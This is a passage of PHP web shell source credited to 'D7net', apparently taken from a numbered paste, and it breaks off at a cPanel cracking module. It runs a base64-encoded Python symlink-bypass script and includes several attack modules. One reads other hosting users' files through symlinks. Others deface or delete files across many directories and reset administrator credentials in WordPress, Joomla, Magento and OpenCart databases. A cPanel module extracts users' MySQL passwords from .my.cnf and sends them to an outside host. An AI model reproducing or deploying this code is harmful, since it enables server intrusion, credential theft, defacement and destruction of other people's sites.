bGU+PGNlbnRlcj48Zm9udCBjb2xvcj13aGl0ZSBzaXplPTU+U3ltbGluayBCeXBhc3MgMjAxODxicj48Zm9udCBzaXplPTQ+TWFkZSBCeSBNaW5kbGVzcyBJbmplY3RvciA8YnI+UmVjb2RlZCBCeSBEN25ldDwvZm9udD48L2ZvbnQ+PGJyPjxmb250IGNvbG9yPXdoaXRlIHNpemU9Mz48dGFibGU+Ig0KDQpvID0gb3BlbignL2V0Yy9wYXNzd2QnLCdyJykNCm89by5yZWFkKCkNCm8gPSByZS5maW5kYWxsKCcvaG9tZS9cdysnLG8pDQoNCmZvciB4dXNyIGluIG86DQoJeHVzcj14dXNyLnJlcGxhY2UoJy9ob21lLycsJycpDQoJc3Vzci5hcHBlbmQoeHVzcikNCnByaW50ICItIiozMA0KeHNpdGUgPSBvcy5saXN0ZGlyKCIvdmFyL25hbWVkIikNCg0KZm9yIHh4c2l0ZSBpbiB4c2l0ZToNCgl4eHNpdGU9eHhzaXRlLnJlcGxhY2UoIi5kYiIsIiIpDQoJc2l0ZXguYXBwZW5kKHh4c2l0ZSkNCnByaW50IGYNCnBhdGg9b3MuZ2V0Y3dkKCkNCmlmICIvcHVibGljX2h0bWwvIiBpbiBwYXRoOg0KCXBhdGg9Ii9wdWJsaWNfaHRtbC8iDQplbHNlOg0KCXBhdGggPSAiL2h0bWwvIg0KY291bnRlcj0xDQppcHM9b3BlbigiYnJ1ZHVsLnBodG1sIiwidyIpDQppcHMud3JpdGUoc2YpDQoNCmZvciBmdXNyIGluIHN1c3I6DQoJZm9yIGZzaXRlIGluIHNpdGV4Og0KCQlmdT1mdXNyWzA6NV0NCgkJcz1mc2l0ZVswOjVdDQoJCWlmIGZ1PT1zOg0KCQkJaXBzLndyaXRlKCI8Ym9keSBiZ2NvbG9yPWJsYWNrPjx0cj48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkO2NvbG9yOndoaXRlOz4lczwvdGQ+PHRkIHN0eWxlPWZvbnQtZmFtaWx5OmNhbGlicmk7Zm9udC13ZWlnaHQ6Ym9sZDtjb2xvcjpyZWQ7PiVzPC90ZD48dGQgc3R5bGU9Zm9udC1mYW1pbHk6Y2FsaWJyaTtmb250LXdlaWdodDpib2xkOz48YSBocmVmPWQ3bmV0LnR4dC9ob21lLyVzJXMgdGFyZ2V0PV9ibGFuayA+JXM8L2E+PC90ZD4iJShjb3VudGVyLGZ1c3IsZnVzcixwYXRoLGZzaXRlKSkNCgkJCWNvdW50ZXI9Y291bnRlcisx";
  468.         $sym = fopen($file_sym, "w");
  469.     fwrite($sym, base64_decode($sym_script));
  470.     chmod($file_sym, 0755);
  471.         $jancok = exe("python sym.py");
  472.     echo "<br><center>Done ... <a href='d7net_sympy/d7netsympy/' target='_blank'>Klik Here</a>";
  473. } elseif($_GET['D7net'] == 'symlink')
  474. {  
  475. @set_time_limit(0);
  476.  
  477. echo "<br><br><center><h1>Symlink</h1></center><br><br><center><div class=content>";
  478.  
  479. @mkdir('d7net_sym',0777);
  480. $htaccess  = "Options all n DirectoryIndex Sux.html n AddType text/plain .php n AddHandler server-parsed .php n  AddType text/plain .html n AddHandler txt .html n Require None n Satisfy Any";
  481. $write =@fopen ('d7net_sym/.htaccess','w');
  482. fwrite($write ,$htaccess);
  483. @symlink('/','sym/root');
  484. $filelocation = basename(__FILE__);
  485. $read_named_conf = @file('/etc/named.conf');
  486. if(!$read_named_conf)
  487. {
  488. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  489. }
  490. else
  491. {
  492. echo "<br><br><div class='tmp'><table border='1' bordercolor='white' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
  493. foreach($read_named_conf as $subject){
  494. if(eregi('zone',$subject)){
  495. preg_match_all('#zone "(.*)"#',$subject,$string);
  496. flush();
  497. if(strlen(trim($string[1][0])) >2){
  498. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
  499. $name = $UID['name'] ;
  500. @symlink('/','sym/root');
  501. $name   = $string[1][0];
  502. $iran   = '.ir';
  503. $israel = '.il';
  504. $indo   = '.id';
  505. $sg12   = '.sg';
  506. $edu    = '.edu';
  507. $gov    = '.gov';
  508. $gose   = '.go';
  509. $gober  = '.gob';
  510. $mil1   = '.mil';
  511. $mil2   = '.mi';
  512. $malay  = '.my';
  513. $china  = '.cn';
  514. $japan  = '.jp';
  515. $austr  = '.au';
  516. $porn   = '.xxx';
  517. $as     = '.uk';
  518. $calfn  = '.ca';
  519.  
  520. if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
  521. or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
  522. or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
  523. or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
  524. {
  525. $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
  526. }
  527. echo "
  528. <tr>
  529.  
  530. <td>
  531. <div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
  532. </td>
  533.  
  534. <td>
  535. '.$UID['name']."
  536. </td>
  537.  
  538. <td>
  539. <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
  540. </td>
  541.  
  542. </tr></div> ";
  543. flush();
  544. }
  545. }
  546. }
  547. }
  548.  
  549. echo "</center></table>";
  550. } elseif($_GET['D7net'] == 'mass_deface') {
  551.     echo "<center><form action=\"\" method=\"post\">\n";
  552.     $dirr=$_POST['d_dir'];
  553.     $index = $_POST["script"];
  554.     $index = str_replace('"',"'",$index);
  555.     $index = stripslashes($index);
  556.     function edit_file($file,$index){
  557.         if (is_writable($file)) {
  558.         clear_fill($file,$index);
  559.         echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
  560.         }
  561.         else {
  562.             echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
  563.             }
  564.             }
  565.     function hapus_massal($dir,$namafile) {
  566.         if(is_writable($dir)) {
  567.             $dira = scandir($dir);
  568.             foreach($dira as $dirb) {
  569.                 $dirc = "$dir/$dirb";
  570.                 $lokasi = $dirc.'/'.$namafile;
  571.                 if($dirb === '.') {
  572.                     if(file_exists("$dir/$namafile")) {
  573.                         unlink("$dir/$namafile");
  574.                     }
  575.                 } elseif($dirb === '..') {
  576.                     if(file_exists("".dirname($dir)."/$namafile")) {
  577.                         unlink("".dirname($dir)."/$namafile");
  578.                     }
  579.                 } else {
  580.                     if(is_dir($dirc)) {
  581.                         if(is_writable($dirc)) {
  582.                             if(file_exists($lokasi)) {
  583.                                 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
  584.                                 unlink($lokasi);
  585.                                 $idx = hapus_massal($dirc,$namafile);
  586.                             }
  587.                         }
  588.                     }
  589.                 }
  590.             }
  591.         }
  592.     }
  593.     function clear_fill($file,$index){
  594.         if(file_exists($file)){
  595.             $handle = fopen($file,'w');
  596.             fwrite($handle,'');
  597.             fwrite($handle,$index);
  598.             fclose($handle);  } }
  599.  
  600.     function gass(){
  601.         global $dirr , $index ;
  602.         chdir($dirr);
  603.         $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  604.         $files = scandir($dirr) ;
  605.         $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
  606.         sort($files);
  607.         $n = 0 ;
  608.         foreach ($files as $file){
  609.             if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
  610.                 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
  611.                 edit_file($file,$index);
  612.                 flush();
  613.                 $n = $n +1 ;
  614.                 }
  615.                 }
  616.                 echo "<br>";
  617.                 echo "<center><br><h3>$n Kali Anda Telah Ngecrot  Disini </h3></center><br>";
  618.                     }
  619.     function ListFiles($dirrall) {
  620.  
  621.     if($dh = opendir($dirrall)) {
  622.  
  623.        $files = Array();
  624.        $inner_files = Array();
  625.        $me = str_replace(dirname(__FILE__).'/','',__FILE__);
  626.        $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
  627.         while($file = readdir($dh)) {
  628.             if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
  629.                 if(is_dir($dirrall . "/" . $file)) {
  630.                     $inner_files = ListFiles($dirrall . "/" . $file);
  631.                     if(is_array($inner_files)) $files = array_merge($files, $inner_files);
  632.                 } else {
  633.                     array_push($files, $dirrall . "/" . $file);
  634.                 }
  635.             }
  636.             }
  637.  
  638.             closedir($dh);
  639.             return $files;
  640.         }
  641.     }
  642.     function gass_all(){
  643.         global $index ;
  644.         $dirrall=$_POST['d_dir'];
  645.         foreach (ListFiles($dirrall) as $key=>$file){
  646.             $file = str_replace('//',"/",$file);
  647.             echo "<center><strong>$file</strong> ===>";
  648.             edit_file($file,$index);
  649.             flush();
  650.         }
  651.         $key = $key+1;
  652.     echo "<center><br><h3>$key Kali Anda Telah Ngecrot  Disini  </h3></center><br>"; }
  653.     function sabun_massal($dir,$namafile,$isi_script) {
  654.         if(is_writable($dir)) {
  655.             $dira = scandir($dir);
  656.             foreach($dira as $dirb) {
  657.                 $dirc = "$dir/$dirb";
  658.                 $lokasi = $dirc.'/'.$namafile;
  659.                 if($dirb === '.') {
  660.                     file_put_contents($lokasi, $isi_script);
  661.                 } elseif($dirb === '..') {
  662.                     file_put_contents($lokasi, $isi_script);
  663.                 } else {
  664.                     if(is_dir($dirc)) {
  665.                         if(is_writable($dirc)) {
  666.                             echo "[<font color=lime>DONE</font>] $lokasi<br>";
  667.                             file_put_contents($lokasi, $isi_script);
  668.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  669.                         }
  670.                     }
  671.                 }
  672.             }
  673.         }
  674.     }
  675.     if($_POST['mass'] == 'onedir') {
  676.         echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
  677.         $ini="http://";
  678.         $mainpath=$_POST[d_dir];
  679.         $file=$_POST[d_file];
  680.         $dir=opendir("$mainpath");
  681.         $code=base64_encode($_POST[script]);
  682.         $indx=base64_decode($code);
  683.         while($row=readdir($dir)){
  684.         $start=@fopen("$row/$file","w+");
  685.         $finish=@fwrite($start,$indx);
  686.         if ($finish){
  687.             echo"$ini$row/$file\n";
  688.             }
  689.         }
  690.         echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
  691.         $mainpath=$_POST[d_dir];$file=$_POST[d_file];
  692.         $dir=opendir("$mainpath");
  693.         $code=base64_encode($_POST[script]);
  694.         $indx=base64_decode($code);
  695.         while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
  696.         $finish=@fwrite($start,$indx);
  697.         if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
  698.         }
  699.  
  700.     }
  701.     elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
  702.     elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
  703.     elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
  704.     elseif($_POST['mass'] == 'massdeface') {
  705.         echo "<div style='margin: 5px auto; padding: 5px'>";
  706.         sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  707.         echo "</div>";  }
  708.     else {
  709.         echo "
  710.         <center><font style='text-decoration: underline;'>
  711.         Select Type:<br>
  712.         </font>
  713.         <select class=\"select\" name=\"mass\"  style=\"width: 450px;\" height=\"10\">
  714.         <option value=\"onedir\">Mass Deface 1 Dir</option>
  715.         <option value=\"massdeface\">Mass Deface Semua Dir</option>
  716.         <option value=\"sabunkabeh\">Deface Massal Di Tempat</option>
  717.         <option value=\"sabunmematikan\">Deface Massal Bunuh Diri</option>
  718.         <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
  719.         <font style='text-decoration: underline;'>Folder:</font><br>
  720.         <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  721.         <font style='text-decoration: underline;'>Filename:</font><br>
  722.         <input type='text' name='d_file' value='d7net.php' style='width: 450px;' height='10'><br>
  723.         <font style='text-decoration: underline;'>Index File:</font><br>
  724.         <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Desktop77N3T</textarea><br>
  725.         <input type='submit' class='d7net_table' name='start' value='Mass Deface' style='width: 450px;'>
  726.         </form></center>";
  727.         }
  728. } elseif($_GET['D7net'] == 'about') {
  729.     echo "<center><br><font size='6'>Shell by D7net a.k.a Desktop77N3T<br> thanks to : MRAF04 | Mr.L3gacy and D704T | XaiSyndicate | B374k | Con7ext | IndoXploit</font>";
  730. } elseif($_GET['D7net'] == 'contact') {
  731.     echo "<center><br><font size='6'>Gmail : sendal254@gmail.com</font>";
  732.  
  733. } elseif($_GET['D7net'] == 'cpanel') {
  734. @ini_set('display_errors',0);
  735. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  736.     $ar0=explode($marqueurDebutLien, $text);
  737.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  738.     return trim($ar1[0]);
  739. }
  740. echo '<br><br><style>
  741. textarea {
  742. resize:none;
  743. color:black;
  744. background-color:#ffffff;  
  745. font-size:8pt; color:black;
  746. border:1px solid white ;
  747. border-left: 4px solid white ;
  748. }
  749. input {
  750. color: black;
  751. border:1px dotted white;
  752. }
  753. </style>';
  754. echo '<center>';
  755. $d0mains = @file('/etc/named.conf');
  756. $domains = scandir("/var/named");
  757. if ($domains or $d0mains)
  758. {
  759.     $domains = scandir("/var/named");
  760.     if($domains) {
  761. echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
  762. $count=1;
  763. $dc = 0;
  764. $list = scandir("/var/named");
  765. foreach($list as $domain){
  766. if(strpos($domain,".db")){
  767. $domain = str_replace('.db','',$domain);
  768. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  769. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  770. $path = getcwd();
  771. if (is_readable($dirz)) {
  772. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  773. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  774. $password=entre2v2($p,'password="','"');
  775. echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>".$count++."</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://".$domain.":2082 target=_blank>".$domain."</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$owner['name']."</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$password."</td><td valign=top style=border :2px solid white style=width: 139px><a href=".$owner['name'].".txt target=_blank>Click Here</a></td></tr>";
  776. $dc++;
  777. $success3="http://".$domain."|".$owner['name']."|".$password."\n";
  778. $ch = curl_init();
  779. curl_setopt($ch, CURLOPT_URL,"http://ww3s.ws/ok.php");
  780. curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
  781. curl_setopt($ch, CURLOPT_POST, 1);
  782. curl_setopt($ch, CURLOPT_POSTFIELDS,"result=".base64_encode($success3));
  783. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  784. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  785. curl_setopt($ch, CURLOPT_HEADER, 1);
  786. $buffer = curl_exec($ch);
  787. }
  788. }
  789. }
  790. echo '</table>';
  791. $total = $dc;
  792.  
  793. echo '</center>';
  794. }else{
  795. $d0mains = @file('/etc/named.conf');
  796.     if($d0mains) {
  797. echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  798. $count=1;
  799. $dc = 0;
  800. $mck = array();
  801. foreach($d0mains as $d0main){
  802.     if(@eregi('zone',$d0main)){
  803.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  804.         flush();
  805.         if(strlen(trim($domain[1][0])) >2){
  806.             $mck[] = $domain[1][0];
  807.         }
  808.     }
  809. }
  810. $mck = array_unique($mck);
  811. $usr = array();
  812. $dmn = array();
  813. foreach($mck as $o) {
  814.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  815.     $usr[] = $infos['name'];
  816.     $dmn[] = $o;
  817. }
  818. array_multisort($usr,$dmn);
  819. $dt = file('/etc/passwd');
  820. $passwd = array();
  821. foreach($dt as $d) {
  822.     $r = explode(':',$d);
  823.     if(strpos($r[5],'home')) {
  824.         $passwd[$r[0]] = $r[5];
  825.     }
  826. }
  827. $l=0;
  828. $j=1;
  829. foreach($usr as $r) {
  830. $dirz = '/home/'.$r.'/.my.cnf';
  831. $path = getcwd();
  832. if (is_readable($dirz)) {
  833. copy($dirz, ''.$path.'/'.$r.'.txt');
  834. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  835. $password=entre2v2($p,'password="','"');
  836. echo "<tr><td valign=top class=style2 style=width: 139px>".$count++."</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td valign=top class=style2 style=width: 139px>'.$r."</td><td valign=top class=style2 style=width: 139px>".$password."</td><td valign=top class=style2 style=width: 139px><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  837. $dc++;
  838.                 flush();
  839.                 $l=$l?0:1;
  840.                 $j++;
  841.                 }
  842.             }
  843.             }
  844. echo '</table>';
  845. $total = $dc;
  846. echo '<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = '.$total.'</h3><br />';
  847. echo '</center>';
  848. }
  849.  
  850. }else{
  851. echo "<div class=result><i><font color=#FF0000>ERROR</font><br><font color=#FF0000>/var/named</font> or <font color=#FF0000>etc/named.conf</font> Not Accessible!</i></div>";
  852. }
  853. } elseif($_GET['D7net'] == 'auto_edit_user') {
  854.     if($_POST['hajar']) {
  855.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  856.             echo "username atau password harus lebih dari 6 karakter";
  857.         } else {
  858.             $user_baru = $_POST['user_baru'];
  859.             $pass_baru = md5($_POST['pass_baru']);
  860.             $conf = $_POST['config_dir'];
  861.             $scan_conf = scandir($conf);
  862.             foreach($scan_conf as $file_conf) {
  863.                 if(!is_file("$conf/$file_conf")) continue;
  864.                 $config = file_get_contents("$conf/$file_conf");
  865.                 if(preg_match("/JConfig|joomla/",$config)) {
  866.                     $dbhost = ambilkata($config,"host = '","'");
  867.                     $dbuser = ambilkata($config,"user = '","'");
  868.                     $dbpass = ambilkata($config,"password = '","'");
  869.                     $dbname = ambilkata($config,"db = '","'");
  870.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  871.                     $prefix = $dbprefix."users";
  872.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  873.                     $db = mysql_select_db($dbname);
  874.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  875.                     $result = mysql_fetch_array($q);
  876.                     $id = $result['id'];
  877.                     $site = ambilkata($config,"sitename = '","'");
  878.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  879.                     echo "Config => ".$file_conf."<br>";
  880.                     echo "CMS => Joomla<br>";
  881.                     if($site == '') {
  882.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  883.                     } else {
  884.                         echo "Sitename => $site<br>";
  885.                     }
  886.                     if(!$update OR !$conn OR !$db) {
  887.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  888.                     } else {
  889.                         echo "Status => <font color=yellow>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  890.                     }
  891.                     mysql_close($conn);
  892.                 } elseif(preg_match("/WordPress/",$config)) {
  893.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  894.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  895.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  896.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  897.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  898.                     $prefix = $dbprefix."users";
  899.                     $option = $dbprefix."options";
  900.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  901.                     $db = mysql_select_db($dbname);
  902.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  903.                     $result = mysql_fetch_array($q);
  904.                     $id = $result[ID];
  905.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  906.                     $result2 = mysql_fetch_array($q2);
  907.                     $target = $result2[option_value];
  908.                     if($target == '') {
  909.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  910.                     } else {
  911.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  912.                     }
  913.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  914.                     echo "Config => ".$file_conf."<br>";
  915.                     echo "CMS => Wordpress<br>";
  916.                     echo $url_target;
  917.                     if(!$update OR !$conn OR !$db) {
  918.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  919.                     } else {
  920.                         echo "Status => <font color=yellow>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  921.                     }
  922.                     mysql_close($conn);
  923.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  924.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  925.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  926.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  927.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  928.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  929.                     $prefix = $dbprefix."admin_user";
  930.                     $option = $dbprefix."core_config_data";
  931.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  932.                     $db = mysql_select_db($dbname);
  933.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  934.                     $result = mysql_fetch_array($q);
  935.                     $id = $result[user_id];
  936.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  937.                     $result2 = mysql_fetch_array($q2);
  938.                     $target = $result2[value];
  939.                     if($target == '') {
  940.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  941.                     } else {
  942.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  943.                     }
  944.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  945.                     echo "Config => ".$file_conf."<br>";
  946.                     echo "CMS => Magento<br>";
  947.                     echo $url_target;
  948.                     if(!$update OR !$conn OR !$db) {
  949.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  950.                     } else {
  951.                         echo "Status => <font color=yellow>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  952.                     }
  953.                     mysql_close($conn);
  954.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  955.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  956.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  957.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  958.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  959.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  960.                     $prefix = $dbprefix."user";
  961.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  962.                     $db = mysql_select_db($dbname);
  963.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  964.                     $result = mysql_fetch_array($q);
  965.                     $id = $result[user_id];
  966.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  967.                     if($target == '') {
  968.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  969.                     } else {
  970.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  971.                     }
  972.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  973.                     echo "Config => ".$file_conf."<br>";
  974.                     echo "CMS => OpenCart<br>";
  975.                     echo $url_target;
  976.                     if(!$update OR !$conn OR !$db) {
  977.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  978.                     } else {
  979.                         echo "Status => <font color=yellow>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  980.                     }
  981.                     mysql_close($conn);
  982.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  983.                     $dbhost = ambilkata($config,'server = "','"');
  984.                     $dbuser = ambilkata($config,'username = "','"');
  985.                     $dbpass = ambilkata($config,'password = "','"');
  986.                     $dbname = ambilkata($config,'database = "','"');
  987.                     $prefix = "users";
  988.                     $option = "identitas";
  989.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  990.                     $db = mysql_select_db($dbname);
  991.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  992.                     $result = mysql_fetch_array($q);
  993.                     $target = $result[alamat_website];
  994.                     if($target == '') {
  995.                         $target2 = $result[url];
  996.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  997.                         if($target2 == '') {
  998.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  999.                         } else {
  1000.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1001.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1002.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1003.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1004.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1005.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1006.                             } else {
  1007.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1008.                             }
  1009.                         }
  1010.                     } else {
  1011.                         $cek_login = file_get_contents("$target/adminweb/");
  1012.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1013.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1014.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1015.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1016.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1017.                         } else {
  1018.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1019.                         }
  1020.                     }
  1021.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1022.                     echo "Config => ".$file_conf."<br>";
  1023.                     echo "CMS => Lokomedia<br>";
  1024.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1025.                         echo $url_target2;
  1026.                     } else {
  1027.                         echo $url_target;
  1028.                     }
  1029.                     if(!$update OR !$conn OR !$db) {
  1030.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1031.                     } else {
  1032.                         echo "Status => <font color=yellow>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1033.                     }
  1034.                     mysql_close($conn);
  1035.                 }
  1036.             }
  1037.         }
  1038.     } else {
  1039.         echo "<center>
  1040.         <h1>Auto Edit User Config</h1>
  1041.         <form method='post'>
  1042.         DIR Config: <br>
  1043.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1044.         Set User & Pass: <br>
  1045.         <input type='text' name='user_baru' value='Desktop77N3T' placeholder='user_baru'><br>
  1046.         <input type='text' name='pass_baru' value='Desktop77N3T' placeholder='pass_baru'><br>
  1047.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1048.         </form>
  1049.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1050.         ";
  1051.     }
  1052. } elseif($_GET['D7net'] == 'cpanelcrck') {
  1053.     if($_POST['crack']) {
  1054.         $usercp = explode("\r\n", $_POST['user_cp']);
  1055.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1056.         $i = 0;
